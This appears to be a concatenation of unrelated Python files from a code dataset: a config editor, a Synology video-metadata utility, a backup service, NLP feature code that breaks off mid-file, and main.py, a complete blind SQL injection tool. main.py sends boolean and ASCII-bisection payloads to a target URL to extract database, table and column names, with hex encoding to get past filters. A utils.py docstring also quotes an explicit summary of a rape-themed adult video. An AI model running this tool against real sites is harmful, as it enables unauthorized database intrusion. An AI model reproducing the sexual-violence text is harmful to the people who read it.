nginxStart = self.nginxStartText.text()\n nginxStop = self.nginxStopText.text()\n phpStart = self.phpStartText.text()\n phpStop = self.phpStopText.text()\n mysqlStart = self.mysqlStartText.text()\n mysqlStop = self.mysqlStopText.text()\n\n self.tree.findall('nginx/start')[0].text = nginxStart\n self.tree.findall('nginx/stop')[0].text = nginxStop\n self.tree.findall('php/start')[0].text = phpStart\n self.tree.findall('php/stop')[0].text = phpStop\n self.tree.findall('mysql/start')[0].text = mysqlStart\n self.tree.findall('mysql/stop')[0].text = mysqlStop\n\n self.writeXml('config.xml')\n\n self.hide()\n\n def writeXml(self, file):\n self.tree.write(file, encoding=\"utf-8\", xml_declaration=True)","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":2631,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"225279596","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\nfrom urllib.parse import urlencode, quote\n\nimport os\nimport re\nimport requests\nfrom PIL import Image, ImageChops\nfrom io import BytesIO\nCACHE_DIRName = '.cache'\nCACHE_DIR = os.path.join(os.path.split(os.path.abspath(__file__))[0], CACHE_DIRName)\n\nPOSTER_FILE = 'poster.jpg'\nBACKDROP_FILE = 'backdrop.jpg'\n\nPOSTER_PATH = os.path.join(CACHE_DIR, POSTER_FILE)\nBACKDROP_PATH = os.path.join(CACHE_DIR, BACKDROP_FILE)\n\nCOOKIE_FILE = os.path.join(CACHE_DIR, 'dsm_cookies')\nLOGIN_INFO = os.path.join(CACHE_DIR, 'dsm_login_info')\nMAIN_CONFIG = os.path.join(CACHE_DIR, 'dsm_main_config')\n\nDSM_SESSION = requests.session()\nDSM_TOKEN = ''\nAPI_URL = 'http://192.168.2.97:5000/webapi/entry.cgi'\nLIBARY_APIS = {'movie': 'SYNO.VideoStation2.Movie', 'tvshow': 'SYNO.VideoStation2.TVShow'}\nITEM_WIDTH, ITEM_HEIGHT = 120, 180\n\nHTTP_SERVER_PORT = 8000\n\n'''\n movie\n\n{'additional': \n\t{\n\t\t'backdrop_mtime': '2017-03-26 14:55:06.580636',\n \t\t'poster_mtime': '2017-03-26 14:55:05.412004',\n \t\t'summary': 'バスケユニホームの結衣チャンにこだわった異色作!!体育館で自主練する結衣に襲いかかる強姦魔!抵抗するもイラマに激FUCK!精液を顔にかけられお掃除フェラを強要される!マンスジ...',\n \t\t'watched_ratio': 0.0\n \t},\n 'create_time': 1490026179,\n 'id': 896,\n 'library_id': 1,\n 'mapper_id': 15180,\n 'metadata_locked': True,\n 'original_available': '2010-12-24',\n 'sort_title': '部活少女 上原結衣',\n 'title': '部活少女 上原結衣',\n \n 'certificate': 'R18+',\n 'last_watched': 0,\n 'rating': 100,\n 'tagline': 'バスケユニホームの結衣チャンにこだわった異色作!!体育館で自'\n \n 'type': 'movie',\n 'pices': {'poster': b'',\n 'backdrop': b'',\n 'images': []},\n \n tvshow\n {'additional': \n {\n 'backdrop_mtime': '2017-03-16 19:48:27.066214',\n 'poster_mtime': '2017-03-16 19:48:22.681952',\n 'summary': \"Seven noble families fight for control of the mythical land of Westeros. Friction between the houses leads to full-scale war. All while a very ancient evil awakens in the farthest north. Amidst the war,\n a neglected military order of misfits,\n the Night's Watch,\n is all that stands between the realms of men and the icy horrors beyond.\",\n 'total_seasons': 6,\n 'watched_ratio': 0.0\n },\n \n 'create_time': 1489692445,\n 'id': 908,\n 'library_id': 0,\n 'mapper_id': 15135,\n 'metadata_locked': True,\n 'original_available': '2011-04-17',\n 'sort_title': 'Game of Thrones',\n 'title': 'Game of Thrones',\n \n 'type': 'tvshow',\n 'pices': {'poster': b'',\n 'backdrop': b'',\n 'images': []}}\n\n \n }\n \n \n'''\n\ndef get_spider_metastruct():\n return {\n '标题': '',\n '电视节目标题': '',\n '集标题': '',\n\n '季数': '',\n '季': '',\n '集': '',\n\n '发布日期': '',\n '发布日期(电视节目)': '',\n '发布日期(集)': '',\n\n\n '级别': '',\n '评级': '',\n '类型': '',\n '演员': '',\n '作者': '',\n '导演': '',\n\n '标语': '',\n '摘要': '',\n\n\n 'poster': b'',\n 'backdrop': b'',\n 'images':[],\n\n 'dital_url':'',\n 'tip':'',\n 'total':0,\n }\n\ndef gen_liststr(list_str):\n if not list_str:\n return '[\"\"]'\n\n list = list_str.split(',')\n if list and len(list):\n result_str = '['\n for each in list:\n result_str = result_str + '\"{}\"'.format(each) + ','\n\n if result_str.endswith(','):\n result_str = result_str[:-1]\n result_str = result_str + ']'\n\n return result_str\n\n return '[\"\"]'\n\ndef get_cert_idx(cert):\n data = {\n 'PG': 0,\n 'PG12': 1,\n 'R15+': 2,\n 'R18+': 3,\n 'Unrated': 4,\n }\n return data.get(cert, -1)\n\n\ndef get_cert_txt(idx):\n data = {\n 0: 'PG',\n 1: 'PG12',\n 2: 'R15+',\n 3: 'R18+',\n 4: 'Unrated',\n }\n return data.get(idx, 'Unrated')\n\ndef get_rating_lst():\n return [\n {'🇯🇵PG': 'PG'},\n {'🇯🇵PG12': 'PG12'},\n {'🇯🇵R15+': 'R15+'},\n {'🇯🇵R18+': 'R18+'},\n\n # {'🇺🇸G': 'G'},\n # {'🇺🇸PG': 'PG'},\n # {'🇺🇸PG-13': 'PG-13'},\n # {'🇺🇸R': 'R'},\n # {'🇺🇸NC-17': 'NC-17'},\n\n {'🎬Unrated': 'Unrated'},\n ]\n\ndef get_video_struct():\n return {\n 'type': '',\n 'id': 0,\n 'library_id': 0,\n 'mapper_id': 0,\n 'title': '',\n 'original_available': '',\n 'summary': '',\n 'total_seasons': 0,\n 'poster': b'',\n 'backdrop': b'',\n }\n\n\ndef format_str(str_summary, n):\n if not str_summary: return\n # if len(str_summary) <= n:\n # return str_summary + '\\n'\n\n return '\\n'.join([str_summary[x:x + n] for x in range(0, len(str_summary), n)])\n\n # return re.findall(r'(.{'+str(n)+'})',str_summary)\n\n\ndef get_mainconfig_struct():\n return {\n 'search_type_idx': 0,\n 'dsm_keyword': ''\n }\n\n\ndef get_dital_tvshow_struck():\n return {\n # 'title': ['电视剧标题', ''],\n # 'original_available': ['发布日期', ''],\n # 'summary': ['摘要', ''],\n # 'total_seasons': ['季数', ''],\n\n '电视节目标题': '',\n '发布日期': '',\n '摘要': '',\n '季数': '',\n\n 'poster': b'',\n 'backdrop': b'',\n }\n\ndef get_dital_episode_struck():\n return {\n\n '电视节目标题':'',\n '发布日期(电视节目)':'',\n '集标题': '',\n '季': '',\n '集': '',\n '发布日期(集)': '',\n '级别': '',\n '评级': '',\n '类型': '',\n '演员': '',\n '作者': '',\n '导演': '',\n '摘要': '',\n\n 'poster': b'',\n\n }\n\ndef get_dital_movie_struck():\n return {\n\n '标题': '',\n '标语': '',\n\n '发布日期': '',\n '级别': '',\n '评级': '',\n '类型': '',\n '演员': '',\n '作者': '',\n '导演': '',\n '摘要': '',\n\n 'poster': b'',\n\n }\n\n\nWIDTHS = [\n (126, 1), (159, 0), (687, 1), (710, 0), (711, 1),\n (727, 0), (733, 1), (879, 0), (1154, 1), (1161, 0),\n (4347, 1), (4447, 2), (7467, 1), (7521, 0), (8369, 1),\n (8426, 0), (9000, 1), (9002, 2), (11021, 1), (12350, 2),\n (12351, 1), (12438, 2), (12442, 0), (19893, 2), (19967, 1),\n (55203, 2), (63743, 1), (64106, 2), (65039, 1), (65059, 0),\n (65131, 2), (65279, 1), (65376, 2), (65500, 1), (65510, 2),\n (120831, 1), (262141, 2), (1114109, 1),\n]\n\n\ndef get_screen_width(input_str, max_width=None, tail='.', tail_length=2):\n \"\"\"\n 获取输入字符串input_str在屏幕上的显示宽度,全角字符宽度计算为2,半角字符宽度计算为1\n 注意这个宽度并不能保证字符串能在屏幕上完美对齐,因为字体的原因,全角字符的宽度并不一定是半角字符的2倍\n 如果仅需要获取字符串的宽度,只需提供input_str参数即可\n 如果需要截取字符串,需提供最大截取宽度(max_width)和省略替代符号(tail, 可选)及其最大个数(tail_length, 可选)\n 例如,最大截取宽度(max_width)为3,输入的字符串为 u\"测试字符串\"(长度为10)\n 那截取结果是:\n u\"...\"\n 如果截取宽度为4,那结果是:\n u\"测..\"(会自动少用一个表示省略的字符)\n 如果截取宽度为5,那结果是:\n u\"测...\"\n \"\"\"\n\n def get_char_width(char):\n \"\"\"\n 查表(WIDTHS)获取单个字符的宽度\n \"\"\"\n char = ord(char)\n if char == 0xe or char == 0xf:\n return 0\n\n for num, wid in WIDTHS:\n if char < num:\n return wid\n\n return 1\n\n if max_width and max_width > tail_length * get_char_width(tail):\n # 最大宽度应该至少和表示省略的字符串一样长\n # str_max_width和max_width的区别在于:\n # max_width表示的是返回结果的最大宽度,包括了最后表示省略的点\n # str_max_width表示的是除去表示省略的符号后在输入字符串中截取部分的最大长度\n str_max_width = max_width - tail_length * get_char_width(tail)\n elif max_width and max_width == tail_length * get_char_width(tail):\n # 如果最大宽度刚好和表示省略的字符串宽度一样,那就直接返回表示省略的字符串\n return tail * tail_length\n elif max_width:\n # 如果出现提供了最大宽度但最大宽度还不如结尾表示省略的字符宽度大的时候就抛出异常\n raise AttributeError\n\n total_width = 0\n result = input_str\n\n for i in range(0, len(input_str)):\n total_width += get_char_width(input_str[i])\n\n if not max_width:\n continue\n\n # 当接近str_max_width时有几种情况:\n # 一种最离str_max_width还有一个半角字符,这种情况就继续循环\n # 另一种是截完当前字符总长度刚好为str_max_width,这种情况就停止分析下面的字符,\n # 直接在当前字符后面加上表示省略的符号后返回,这时总的长度刚好为max_width\n # 最后一种情况是截取完上一个字符后总宽度刚好和str_max_width差一个半角字符,\n # 刚好当前读取的字符的宽度是2(全角字符),那从输入字符串中截取的长度不可能和\n # str_max_width完全相同,会比str_max_width大一个半角宽度,这种情况就把表示\n # 省略的字符少显示一个,加到结尾,这样最后返回值的长度刚好也是max_width.\n if total_width < str_max_width:\n continue\n elif total_width == str_max_width:\n result = input_str[0:i + 1] + tail * tail_length\n break\n else:\n result = input_str[0:i + 1] + tail * (tail_length - 1)\n break\n\n return result if max_width else total_width\n\n\ndef get_episode_strut():\n return {\n 'additional': {\n 'actor': [],\n 'director': [],\n 'genre': [],\n 'summary': '',\n 'tvshow_summary': '',\n 'writer': []\n },\n 'certificate': '',\n 'create_time': 0,\n 'episode': 0,\n 'id': 0,\n 'last_watched': 0,\n 'library_id': 0,\n 'mapper_id': 0,\n 'metadata_locked': True,\n 'original_available': '',\n 'rating': 0,\n 'season': 0,\n 'sort_title': '',\n 'tagline': '',\n 'title': '',\n 'tvshow_backdrop_mtime': '',\n 'tvshow_id': 0,\n 'tvshow_mapper_id': 0,\n 'tvshow_original_available': '',\n # 添加\n 'type': 'tvshow_episode',\n 'pices': {\n 'poster': b'',\n # 'backdrop': b'',\n # 'images': []\n }\n\n }\n\n\ndef get_tvshows_tabel_head_struck():\n return {\n '电视节目标题': '',\n '发布日期': '',\n '摘要': '',\n '季数': '',\n }\n\n\ndef get_episode_tabel_head_struck():\n return {\n # '电视节目标题':'',\n # '发布日期(电视节目)':'',\n '集标题': '',\n '季': '',\n '集': '',\n '发布日期(集)': '',\n '级别': '',\n '评级': '',\n '类型': '',\n '演员': '',\n '作者': '',\n '导演': '',\n '摘要': '',\n }\n\n\ndef spider_meta_struck():\n return {\n '标题': '',\n '标语': '',\n '电视节目标题': '',\n\n '发布日期': '',\n '摘要': '',\n '季数': '',\n '集标题': '',\n\n '发布日期(集)': '',\n '级别': '',\n '评级': '',\n '类型': '',\n '演员': '',\n '作者': '',\n '导演': '',\n\n 'pices': {\n 'poster': b'',\n 'backdrop': b'',\n 'images': []\n },\n\n 'tip': '',\n 'video_url': '',\n 'total': 0,\n 'type': ''\n }\n\n\n\n\n\ndef get_default_search_result_struck():\n '''\n{'additional': {'total_seasons': 1, 'watched_ratio': 0.0}, \n'create_time': 1490623395, 'id': 912, 'library_id': 3, 'mapper_id': 15319, 'metadata_locked': True, 'original_available': '2017-03-10', 'sort_title': 'くノ一幕末奇譚1', 'title': 'くノ一幕末奇譚1'} '''\n return {\n 'title': '',\n 'id': 0,\n 'library_id': 0,\n 'mapper_id': 0,\n 'original_available': '',\n 'type': '',\n 'poster': b'',\n 'backdrop': b''\n }\n\n\ndef get_default_tvshow_struck():\n return {\n 'title': '',\n 'sort_title': '',\n 'original_available': '',\n 'total_seasons': 0,\n 'summary': '',\n 'poster': b'',\n 'backdrop': b''\n }\n\n\ndef format_date_str(date_str):\n\n\n\n try:\n res = re.search(r'(\\d{4})[/-](\\d{1,2})[/-](\\d{1,2})', date_str)\n if res:\n return '{}-{}-{}'.format(res.group(1), res.group(2).zfill(2), res.group(3).zfill(2))\n\n res = re.search(r'(\\d{1,2})[/-](\\d{1,2})[/-](\\d{4})', date_str)\n if res:\n return '{}-{}-{}'.format(res.group(3), res.group(1).zfill(2), res.group(2).zfill(2))\n\n res = re.match(r'(\\d{4})[/-](\\d{1,2})', date_str)\n if res:\n return '{}-{}-{}'.format(res.group(1), res.group(2).zfill(2),'01')\n return ''\n except:\n return ''\n\n\ndef trim(im):\n try:\n bg = Image.new(im.mode, im.size, im.getpixel((0, 0)))\n diff = ImageChops.difference(im, bg)\n diff = ImageChops.add(diff, diff, 2.0, -100)\n bbox = diff.getbbox()\n if bbox:\n return im.crop(bbox)\n except Exception:\n return im\n\n\ndef rotate_image(in_bytes):\n try:\n out = BytesIO()\n stream = BytesIO(in_bytes)\n im = Image.open(stream)\n img2 = im.transpose(Image.ROTATE_90)\n img2.save(out, format='JPEG')\n return out.getvalue()\n except Exception:\n return in_bytes\n\n\ndef tim_img_bytes(in_bytes):\n try:\n out = BytesIO()\n stream = BytesIO(in_bytes)\n im = Image.open(stream)\n im = trim(im)\n if not im:\n return in_bytes\n im.save(out, format='JPEG')\n return out.getvalue()\n except:\n return in_bytes\n\n\ndef create_poster(in_bytes, middle=False):\n try:\n out = BytesIO()\n stream = BytesIO(in_bytes)\n im = Image.open(stream)\n im = trim(im)\n if not im:\n return None\n if im.size[0] < im.size[1]:\n im.save(out, format='JPEG')\n return out.getvalue()\n if middle:\n pos = im.size[0] // 4\n else:\n pos = im.size[0] * 420 // 800\n box = pos, 0, im.size[0], im.size[1]\n region = im.crop(box)\n region.save(out, format='JPEG')\n return out.getvalue()\n except Exception:\n return None\n\n\nif __name__ == '__main__':\n pass\n\n #\n # print(quote('皆月もか',encoding='EUC-JP'))\n # print(quote('sora',encoding='EUC-JP'))\n #\n # print( '\\u4eba\\u6c17\\u52d5\\u753b\\u30b5\\u30a4\\u30c8\\u3067\\u914d\\u4fe1\\u4e2d\\u306e\\u30a8\\u30ed\\u30a2\\u30cb\\u30e1\\u304c\\u5358\\u54c1\\u8ca9\\u58f2\\u4e2d'.encode().decode())\n #\n #\n #\n # print(get_screen_width('名偵探柯南2009:漆黑的追跡者', max_width=16))\n # print(get_screen_width('逃学威龙3之龙过鸡年', max_width=16))\n #\n #\n #\n # a= get_dital_tvshow_struck() #.update(get_dital_episode_struck()).update(get_dital_movie_struck)\n # a.update(get_dital_episode_struck())\n # a.update(get_dital_movie_struck())\n #\n #\n # print(a)\n\n web_dir = os.path.join(os.path.dirname(__file__), CACHE_DIRName)\n print(web_dir)\n print(os.getcwd())","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":15851,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"192083993","text":"# https://ru.wikipedia.org/wiki/%D0%9A%D0%B2%D0%B0%D0%B4%D1%80%D0%B0%D1%82%D0%BD%D0%BE%D0%B5_%D1%83%D1%80%D0%B0%D0%B2%D0%BD%D0%B5%D0%BD%D0%B8%D0%B5\n# Используется для того, чтобы прочитать аргумент (строку с числом), введённую в терминале\nimport sys\n# Из этой библиотеки нам нужна функция sqrt, с помощью которой мы вычислим квадратный корень\nimport math\n\n\ndef quadratic_equation():\n # Считываем строку с коэффициентами\n a = int(sys.argv[1])\n b = int(sys.argv[2])\n c = int(sys.argv[3])\n\n # Вычисляем детерминант\n if a == 0:\n print(\"Решений нет\")\n elif (b ** 2 - 4 * a * c) < 0:\n print(\"Решений нет\")\n elif (b ** 2 - 4 * a * c) == 0:\n print((-1 * b) / (2 * a))\n print((-1 * b) / (2 * a))\n else:\n print(int((-1 * b - math.sqrt(b ** 2 - 4 * a * c)) / 2 * a))\n print(int((-1 * b + math.sqrt(b ** 2 - 4 * a * c)) / 2 * a))\n\n\nif __name__ == \"__main__\":\n quadratic_equation()\n","sub_path":"week_01_03/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":1156,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"152204439","text":"from datetime import datetime\nfrom classes.Thread import Thread\nfrom classes.Backup import Backup\nfrom classes.Configfile import Configfile\nimport logging.config\n\n\nclass Service:\n __config = None\n __ref = None\n\n def __init__(self):\n # Load config.json parameters\n self.__config = Configfile().load_conf_data()\n\n # Set reference (Date and Hour)\n now = datetime.now()\n self.__ref = now.strftime(\"%Y_%m_%d__%H\")\n\n # Configure logging\n log_folder = self.__config['parameters']['logFolder']\n file_name = self.__ref + '.log'\n\n if not log_folder[0:-1] == '/':\n log_folder = log_folder + '/'\n\n logging.basicConfig(\n format='%(asctime)s - %(levelname)s - %(message)s',\n filename=log_folder + file_name,\n encoding='utf-8',\n level=logging.DEBUG,\n datefmt='%d/%m/%Y %H:%I:%S'\n )\n\n def start(self):\n # Log\n logging.info('Start process')\n\n threads_list = []\n\n # Loop Servers and push on threads list\n for server in self.__config['servers']:\n\n # Create and Start Threads\n for (i, database) in enumerate(server['databases']):\n tmp_thread = Thread(target=Backup.execute, name=server['name'] + \"|\" + database['name'],\n args=(Backup, self.__config['parameters'], server, database, self.__ref))\n threads_list.append(tmp_thread)\n tmp_thread.start()\n\n # Start all threads\n for t in threads_list:\n t.join()\n\n name = t.getName().split(\"|\")\n\n # Log\n logging.info(\"Server %s Database %s: Finish Backup\", name[0], name[1])\n\n logging.info('Finish process')\n","sub_path":"classes/Service.py","file_name":"Service.py","file_ext":"py","file_size_in_byte":1786,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"462104056","text":"#!/usr/bin/env python 3.8\nimport requests\nimport os\nimport argparse\n\nparser = argparse.ArgumentParser(description='Blind SQL Injection TOOL', epilog='ex) main.py -u \"http://test.mydomain.com/prob.php\" -c \"Hello admin\" -p \"pw\" -f \"filter_str\"')\nparser.add_argument('-u', '--url', type=str, required=True, help='The URL to scan')\nparser.add_argument('-c', '--check_str', type=str, required=True, help='The string that can judge between true or fail on Blind SQL Injection')\nparser.add_argument('-p', '--param', type=str, required=True, help='The parameter that we will send the payload')\nparser.add_argument('-f', '--filter_str', type=str, help='If webserver contains filtering function for sql injection, u can enable this option to bypass filtering')\nargs = parser.parse_args()\n\nVICTIM = args.url #ex) 'http://test.mydomain.com/prob.php' #진단할 URL\nPARAM = args.param # Blind SQL injection Payload를 포함할 파라미터\nBLIND_CHECK_STR = args.check_str # Blind SQL Injection 참/거짓을 판단할 텍스트\nFILTER_STR = args.filter_str\nFILEPATH = os.getcwd() + '/result/'\n\n# print(VICTIM, PARAM, BLIND_CHECK_STR, FILTER_STR)\n\n# Blind Sql Injection 결과 출력하는 함수\ndef print_result(db_name, column_dict):\n line_count = 0\n print(\"{0:#^80}\".format(\" result \"))\n print(\"{0:^80}\".format(\"DB name : \" + db_name))\n print(\"{0:#^80}\".format(\"\"))\n for table, columns in column_dict.items():\n line_count += 1\n print(\"{0:^80}\".format(\"Table name : %s\" % table))\n print(\"{0:^80}\".format('Column List : '+' / '.join(columns)))\n if not (line_count is len(column_dict)):\n print(\"{0:-^80}\".format(\"\"))\n print(\"{0:#^80}\".format(\"\"))\n\n\ndef save_result(db_name, column_dict):\n with open(FILEPATH + db_name + '.csv', encoding=\"utf-8\", mode='w') as out:\n cols = ['table_name', 'column_list']\n out.write(','.join(cols) + \"\\n\")\n for table, columns in column_dict.items():\n out.write(table + ',' + '/'.join(columns) + '\\n')\n print(FILEPATH + db_name + '.csv saved..')\n\n\n# DB 명, 테이블명, 컬럼 이름 중 필터링 되고 있는 문자열이 있으면 hex값으로 변환하는 함수\n# 예제에서는 hpcnt 문자열이 필터링 되고 있으므로 hex값을 이용해 우회 가능\ndef check_filtering_str(checked_str, filter_str):\n if filter_str is not None:\n if filter_str in checked_str:\n convert_str = \"0x\" + checked_str.encode(\"utf8\").hex()\n else:\n convert_str = \"'\" + checked_str + \"'\"\n else:\n convert_str = \"'\" + checked_str + \"'\"\n return convert_str\n\n\n# Blind SQL Injection payload가 담긴 http request 후 response를 받아오는 함수\ndef get_response(payload):\n params = {PARAM: payload}\n response = requests.get(VICTIM, params=params)\n return response\n\n\n# 응답값 내에 BLIND_CHECK_STR 값이 존재하는지 리턴하는 함수\ndef has_blind_check_str(response):\n if BLIND_CHECK_STR in response.text:\n return True\n else:\n return False\n\n\n# 이진탐색법 이용해 Blind Sql injection 참/거짓 구분하는 함수\n# ascii 코드로 알파벳 찾을 때 사용\ndef binary_search(query, value_length):\n result = ''\n for i in range(1, value_length + 1):\n start = 0\n end = 127\n while start <= end:\n payload = query\n mid = (start + end) // 2\n if has_blind_check_str(get_response(payload.format(i, '=', mid))):\n result += chr(mid)\n # print(result)\n break\n elif has_blind_check_str(get_response(payload.format(i, '<', mid))):\n end = mid - 1\n else:\n start = mid + 1\n return result\n\n\n# 순차 탐색 알고리즘을 이용해 Blind Sql Injection 참/거짓 구분하는 함수\n# DB 명, 테이블 명, 컬럼 명 길이 구할 때 사용\ndef sequential_search(query, number):\n for i in range(0, number + 1):\n payload = query.format(i)\n # print(query)\n if not has_blind_check_str(get_response(payload)):\n length = i\n if length == 0:\n raise ArithmeticError\n return length\n raise OverflowError\n\n\n# DB 명 구하는 함수\ndef get_db_name():\n # DB 이름 길이 가져오기\n query = \"1' or length(database( )) > {0}#\"\n name_length = sequential_search(query, 30)\n\n # DB 이름 가져오기\n print('Fetching DB Name...')\n query = \"1' or ascii(substring(database( ), {0}, 1)) {1} {2}#\"\n db_name = binary_search(query, name_length)\n print(\"{0:=^40}\".format(\"\"))\n print(\"DB Name is \" + db_name)\n print(\"\")\n return db_name\n\n\n# DB 내에 있는 테이블 목록 가져오는 함수\ndef get_tables_name(db_name):\n # DB 내 테이블 갯수 가져오기\n query = \"1' or (select count(table_name) from information_schema.tables where table_schema=\" \\\n + check_filtering_str(db_name, FILTER_STR) + \") > {0}#\"\n table_count = sequential_search(query, 50)\n\n # DB 내 각 테이블들의 이름 길이 가져오기\n table_names_length_list = []\n for i in range(0, table_count):\n query = \"1' or (select length(table_name) from information_schema.tables where table_schema=\" \\\n + check_filtering_str(db_name, FILTER_STR) + \" limit \" + str(i) + \", 1) > {0}#\"\n table_names_length_list.append(sequential_search(query, 50))\n\n # DB 내 테이블 목록 가져오기\n tables_name = []\n print('Fetching tables name...')\n print(\"{0:=^40}\".format(\"\"))\n for i in range(0, table_count):\n print(\"table \" + str(i + 1) + \" start!\")\n query = \"1' or (select ascii(substring(table_name,{0},1)) from information_schema.tables where table_schema=\" \\\n + check_filtering_str(db_name, FILTER_STR) + \" limit \" + str(i) + \", 1) {1} {2}#\"\n tables_name.append(binary_search(query, table_names_length_list[i]))\n\n print(\"{0:=^40}\".format(\"\"))\n for i in range(0, table_count):\n print(\"table : \" + str(i + 1) + \" : \" + tables_name[i])\n print(\"\")\n return tables_name\n\n\n# 테이블 내에 있는 컬럼 목록 가져오는 함수\ndef get_columns_name(table_name):\n # 테이블 내 컬럼 갯수 가져오기\n query = \"1' or (select count(*) from information_schema.columns where table_name=\" \\\n + check_filtering_str(table_name, FILTER_STR) + \") > {0}#\"\n column_count = sequential_search(query, 100)\n\n # 테이블 내 각 컬럼들의 이름 길이 가져오기\n column_list_length = []\n for i in range(0, column_count):\n query = \"1' or (select length(column_name) from information_schema.columns where table_name=\" \\\n + check_filtering_str(table_name, FILTER_STR) + \" limit \" + str(i) + \", 1) > {0}#\"\n column_list_length.append(sequential_search(query, 50))\n\n # 테이블 내 컬럼 목록 가져오기\n columns_name = []\n print('Fetching columns name...')\n print(\"{0:=^40}\".format(\"\"))\n for i in range(0, column_count):\n print(\"table \" + table_name + \"'s column \" + str(i + 1) + \" start!\")\n query = \"1' or (select ascii(substring(column_name,{0},1)) from information_schema.columns where table_name=\" \\\n + check_filtering_str(table_name, FILTER_STR) + \" limit \" + str(i) + \", 1) {1} {2}#\"\n columns_name.append(binary_search(query, column_list_length[i]))\n\n print(\"{0:=^40}\".format(\"\"))\n for i in range(0, column_count):\n print(\"table : \" + table_name + \" / Column \" + str(i + 1) + \" : \" + columns_name[i])\n print(\"\")\n return columns_name\n\n\n# 메인 함수\ndef main():\n db_name = ''\n tables_name = []\n column_dict = {}\n\n try:\n db_name = get_db_name()\n\n tables_name = get_tables_name(db_name)\n\n for table_name in tables_name:\n column_dict[table_name] = get_columns_name(table_name)\n print(column_dict[table_name])\n print(\"\\n\\n\")\n\n print_result(db_name, column_dict)\n save_result(db_name, column_dict)\n\n except OverflowError:\n print(\"Error : DB, Column, Table 이름의 길이가 예상보다 깁니다.\")\n except ArithmeticError:\n print(\"Error : DB, Column, Table 이름을 가져오지 못했습니다.\")\n except requests.exceptions.RequestException:\n print(\"Error : WEB 서버에 접근할수 없습니다.\")\n except Exception as ex:\n print(\"Error : 알 수 없는 에러로 DB 이름을 가져오지 못했습니다.\\n\", ex.with_traceback())\n\n\nif __name__ == \"__main__\":\n main()\n\n\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8578,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"151171338","text":"import numpy as np\nimport argparse\nimport json\nimport pandas as pd\nimport csv\n# Provided wordlists.\nFIRST_PERSON_PRONOUNS = {\n 'i', 'me', 'my', 'mine', 'we', 'us', 'our', 'ours'}\nSECOND_PERSON_PRONOUNS = {\n 'you', 'your', 'yours', 'u', 'ur', 'urs'}\nTHIRD_PERSON_PRONOUNS = {\n 'he', 'him', 'his', 'she', 'her', 'hers', 'it', 'its', 'they', 'them',\n 'their', 'theirs'}\nSLANG = {\n 'smh', 'fwb', 'lmfao', 'lmao', 'lms', 'tbh', 'rofl', 'wtf', 'bff',\n 'wyd', 'lylc', 'brb', 'atm', 'imao', 'sml', 'btw', 'bw', 'imho', 'fyi',\n 'ppl', 'sob', 'ttyl', 'imo', 'ltr', 'thx', 'kk', 'omg', 'omfg', 'ttys',\n 'afn', 'bbs', 'cya', 'ez', 'f2f', 'gtr', 'ic', 'jk', 'k', 'ly', 'ya',\n 'nm', 'np', 'plz', 'ru', 'so', 'tc', 'tmi', 'ym', 'ur', 'u', 'sol', 'fml'}\npunctations = {\n '$', '.', '#', ':', ',', '(', ')', '\"', '``', '“', '”', '’', \"''\"\n}\n\nBristol_Gilhooly_logie = \"/Users/jarvis/Documents/grad/sem4/csc2511/assignment1/A1/code/BristolNorms+GilhoolyLogie.csv\"\nWarrineretal = \"/Users/jarvis/Documents/grad/sem4/csc2511/assignment1/A1/code/Ratings_Warriner_et_al.csv\"\nleft_path = \"/Users/jarvis/Documents/grad/sem4/csc2511/assignment1/A1/feats/Left_IDs.txt\"\nright_path = \"/Users/jarvis/Documents/grad/sem4/csc2511/assignment1/A1/feats/Right_IDs.txt\"\nalt_path = \"/Users/jarvis/Documents/grad/sem4/csc2511/assignment1/A1/feats/Alt_IDs.txt\"\ncenter_path = \"/Users/jarvis/Documents/grad/sem4/csc2511/assignment1/A1/feats/Center_IDs.txt\"\n\nleft_data_path = \"/Users/jarvis/Documents/grad/sem4/csc2511/assignment1/A1/feats/Left_feats.dat.npy\"\nright_data_path = \"/Users/jarvis/Documents/grad/sem4/csc2511/assignment1/A1/feats/Right_feats.dat.npy\"\nalt_data_path = \"/Users/jarvis/Documents/grad/sem4/csc2511/assignment1/A1/feats/Alt_feats.dat.npy\"\ncenter_data_path = \"/Users/jarvis/Documents/grad/sem4/csc2511/assignment1/A1/feats/Center_feats.dat.npy\"\n\n\n\n#Warriner = csv.DictReader(open(Warrineretal))\n#BGL = csv.DictReader(open(Bristol_Gilhooly_logie))\nleft_id = open(left_path,\"r\")\nleft_id =[line.strip('\\n') for line in left_id]\nleft_id = dict(zip(left_id,range(0,len(left_id))))\nright_id = open(right_path,\"r\")\nright_id =[line.strip('\\n') for line in right_id]\nright_id = dict(zip(right_id,range(0,len(right_id))))\ncenter_id = open(center_path,\"r\")\ncenter_id =[line.strip('\\n') for line in center_id]\ncenter_id = dict(zip(center_id,range(0,len(center_id))))\nalt_id = open(alt_path,\"r\")\nalt_id =[line.strip('\\n') for line in alt_id]\nalt_id = dict(zip(alt_id,range(0,len(alt_id))))\n\nleft_data = np.load(left_data_path)\nright_data = np.load(right_data_path)\ncenter_data = np.load(center_data_path)\nalt_data = np.load(alt_data_path)\n\ndef readCSV(filename):\n list_read=[]\n words = dict()\n with open(filename,'r') as fp:\n list_read=fp.readlines()\n header_list= list_read[0].split(',')\n list_read.pop(0)\n\n list_read =[line.split(',') for line in list_read]\n for i,j in enumerate(list_read):\n words[j[1]] = i\n return list_read,words\n\nWarriner,Warriner_words = readCSV(Warrineretal)\nBGL,BGL_words = readCSV(Bristol_Gilhooly_logie)\ndef normsBGL(token):\n\n AoA=[]\n FAM=[]\n IMG=[]\n\n for i in token:\n if i in BGL_words and i !=\"\":\n v, a, d = BGL[BGL_words[i]][3], BGL[BGL_words[i]][4], BGL[BGL_words[i]][5]\n AoA.append(float(v))\n FAM.append(float(a))\n IMG.append(float(d))\n #print(AoA)\n #remain = len(token) - len(AoA)\n #print(AoA)\n #AoA = np.pad(AoA,(0,remain),mode = 